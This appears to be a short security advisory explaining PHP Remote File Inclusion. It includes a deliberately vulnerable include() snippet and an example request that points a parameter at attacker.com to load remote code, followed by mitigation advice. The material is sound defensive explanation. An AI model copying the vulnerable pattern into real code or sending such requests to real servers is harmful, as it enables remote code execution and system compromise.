How the Exploit Works
The PHP Remote File Inclusion vulnerability allows an attacker to include a remote file, typically through a script on a web server, due to the misuse of require() or include() functions in PHP. This misuse can allow the attacker to run arbitrary PHP code in the server context, potentially leading to severe consequences such as system compromise or data leakage.
Conceptual Example Code
<?php
// vulnerable PHP code
$incfile = $_REQUEST["file"];
include($incfile . ".php");
?>An attacker could exploit this by sending a request like this:
GET /vulnerable_page.php?file=http://attacker.com/malicious_code HTTP/1.1
Host: target.example.comThis would result in the server downloading and executing the malicious PHP code hosted on attacker.com.
Recommended Mitigation Techniques
It is advised to apply the vendor patch as soon as it becomes available. In the interim, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to filter out malicious requests targeting this vulnerability. Furthermore, it is good practice to avoid using user input directly in file include operations and instead use a white-list of allowable inputs.
